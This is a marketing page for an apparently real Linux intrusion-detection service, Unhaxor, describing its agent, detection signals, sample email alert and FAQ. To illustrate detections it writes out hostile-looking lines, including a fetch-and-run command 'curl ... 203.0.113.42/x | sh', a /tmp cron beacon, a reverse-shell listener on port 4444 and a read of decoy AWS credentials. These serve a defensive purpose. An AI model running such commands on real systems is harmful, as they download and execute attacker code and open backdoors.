Attackers have AI now. Your servers should too.

Install one small agent on your Linux server and get an email the moment something looks wrong — a break-in, a risky login, a newly vulnerable package. No security team required.

Get started See how it works

Installs in 60 seconds · No root required · Open-source agent

bash — web-01
$ curl -fsSL https://unhaxor.net | sudo sh

Connected — learning what’s normal on web-01

You’ll get an email if anything looks wrong

live · web-01

02:11:04·sshd login ok you@

02:11:39·cron backup.sh exit 0

02:12:58·nginx GET / 200

02:14:03!nginx → sh → curl 203.0.113.42

└ we’d email you about this

THE PROBLEM

The gap between disclosed and exploited keeps shrinking.

AI now speeds up both sides: it helps researchers and attackers find flaws faster, and it helps turn a fresh advisory into a working exploit in hours, not months. For a team of a few people running a few servers, "patch it next sprint" is no longer fast enough.

  • Oct 2026CVE-2026-109618 / 109619
    5 days
    from patch to CISA’s known-exploited list

    PHP2Shell

    Unauthenticated remote code execution affecting PHP 5.4 through 8.5.11 — added to CISA’s Known Exploited Vulnerabilities catalog five days after the patch shipped.

    CISA alert (opens in a new tab)
  • Apr 2025CVE-2025-22457
    ~3 weeks
    exploited as a zero-day before disclosure

    Ivanti Connect Secure

    A buffer overflow in a widely used VPN appliance, exploited in the wild from mid-March — about three weeks before the April 3 advisory, and on CISA’s KEV list one day after.

    Google Threat Intelligence (opens in a new tab)
  • Jul 2024CVE-2024-6387
    ~700,000
    internet-facing servers directly vulnerable

    regreSSHion

    A flaw in OpenSSH — the service almost every Linux server exposes — allowing remote code execution as root. Qualys found ~700,000 directly vulnerable instances of ~14 million exposed.

    Qualys research (opens in a new tab)

Most small teams find out weeks later — or from a customer.

INSTALL

Up and running in 60 seconds.

One command installs a signed, sandboxed agent. Paste your API key, and it starts learning what normal looks like on that server. No agent to configure, no rules to write.

Get your install command →

  1. Run one command

    A signed install script sets up the agent as a locked-down service.

  2. Paste your API key

    The agent connects outbound only and starts a per-server baseline.

  3. Get an email if something’s wrong

    Plain-English alerts with what happened and what to do next.

HOW IT WORKS

Watch, understand, alert.

  1. step 1

    Watch

    A lightweight agent observes processes, logins, file changes and network connections as they happen — metadata only, never the contents of your files or traffic.

  2. step 2

    Understand

    Our backend learns what is normal for each server and uses rules, per-server baselines and AI to investigate anything that isn’t — the way an analyst would.

  3. step 3

    Alert

    You get a plain-English email saying what happened, why it matters, and the exact next step to take. Nothing to log into unless you want to.

WHAT IT CATCHES

The things that mean someone is already inside.

Behaviour-based detection, tuned per server. A few of the signals Unhaxor is designed to raise:

  • Intruders at work

    A web server spawning a shell, or a program running from a temporary folder.

    nginx → /bin/sh → curl 203.0.113.9

  • Persistence attempts

    New cron jobs, SSH keys, users or startup services that nobody set up.

    + cron: * * * * * /tmp/.x/beacon

  • Suspicious network activity

    New listening ports, reverse shells, or connections somewhere the server has never been.

    LISTEN :4444 → 185.220.101.0

  • Vulnerable software

    Known-vulnerable packages that are actually running and exposed, with the upgrade command.

    openssl 3.0.2 — CVE-2026-xxxx → apt upgrade

  • Unusual logins

    A new country, an odd hour, or a success right after a run of failures.

    sshd: accepted root from 198.51.100.7 (NG)

  • Decoy tripwires

    Fake credentials that nothing legitimate ever opens — so a single read is a strong signal.

    read: /root/.aws/credentials.decoy

  • Tampering

    Cleared logs, or the agent itself being stopped or silenced.

    journald: logs truncated — agent offline

SAMPLE ALERT

What an alert actually looks like.

You don’t have to check a dashboard. A short, specific email — this is a fictional example.

Example alert

[web-01] A shell was launched by your web server

From
Unhaxor <alerts@unhaxor.net>
To
you@yourcompany.com
Server
web-01 (production) · 2026-11-15 02:14 UTC

Your nginx process launched a shell and reached out to an address this server has never contacted before. On a web server, that pattern usually means code execution, not normal activity.

Evidence

process   nginx(1021) → sh(8841) → curl(8842)
command   curl -fsSL http://203.0.113.42/x | sh
user      www-data
time      2026-11-15 02:14:03 UTC
dest      203.0.113.42:80 (first contact)

Recommended next step

Isolate web-01 from the network and inspect the nginx worker. If this was not a deploy you recognise, treat the host as compromised and rotate its credentials.

FLEET VIEW

Every server and container, on one screen.

Bare metal servers, VPS instances and Docker containers show up side by side as soon as the agent is running. See at a glance which ones are fine, which need attention, and why.

  • All of it, in one place. Bare metal, VPS and containers in one list, with each container shown on its host.

  • A security status per machine. Healthy or needs attention, worked out from what the agent actually sees.

  • Same explanation as the email. Every warning opens the plain-English summary and the next step to take.

Unhaxor — Fleet
Monitored
8
Healthy
6
Needs attention
2

  • web-01

    VPS · Ubuntu 24.04

    No findings

    healthy

  • web-02

    VPS · Ubuntu 24.04

    openssl 3.0.2 has a known CVE — upgrade available

    attention

  • db-01

    Bare metal · Debian 12

    No findings

    healthy

  • api

    Container · node:20-alpine · on web-01

    No findings

    healthy

  • worker

    Container · python:3.12 · on web-02

    Runs as root and contacted a new host

    attention

  • backup-01

    Bare metal · Rocky Linux 9

    No findings

    healthy

  • redis

    Container · redis:7 · on db-01

    No findings

    healthy

  • staging-01

    VPS · Ubuntu 22.04

    No findings

    healthy
Example fleet view. Hostnames and findings are fictional.

TRUST

Built to be verified, not just trusted.

You are putting this on your server. Every design choice below is here so you can check our work.

  • Open-source agent

    Read exactly what runs on your server. The agent is open source by design.

  • Runs without root

    An unprivileged, sandboxed service with access only to what it needs.

  • Alerts only

    It never changes anything and cannot receive remote commands. Outbound connections only.

  • See what leaves

    A command shows exactly what data the agent sends off the machine.

  • Metadata only

    We never read your file contents or the contents of your traffic.

  • Signed & reversible

    Signed packages, and a one-command uninstall whenever you want it gone.

HONEST LIMITS

What Unhaxor does not do.

A tool is easier to trust when it states its limits. Unhaxor is detection, not a shield.

  • It does not block attacks or take any action on your server.
  • It does not replace patching, backups or a firewall.
  • It detects what attackers do after they get in, and cannot promise to see every exploit.

FAQ

Questions, answered.

Does it need root?
No. The agent runs as an unprivileged, sandboxed service with access only to what it needs to observe the system. It has no shell and cannot modify the machine.
What data leaves my server?
Metadata only — things like process names, login events, listening ports and connection destinations. We never read your file contents or the contents of your network traffic. A built-in command shows you exactly what the agent sends.
Can it break or slow down my server?
It is designed to be lightweight and to only observe. It makes outbound connections only, takes no action on the host, and can be removed with a single command at any time.
What happens if an attacker kills the agent?
If the agent stops or goes silent, our backend notices the missing heartbeat and emails you. Going quiet is itself a signal.
Which Linux distributions are supported?
Modern 64-bit distributions, including Ubuntu, Debian and RHEL-family systems. If you run something else, tell us when you sign up.

GET STARTED

Know the moment something reaches your server.

Install one small agent. Get one email when it matters.

Get started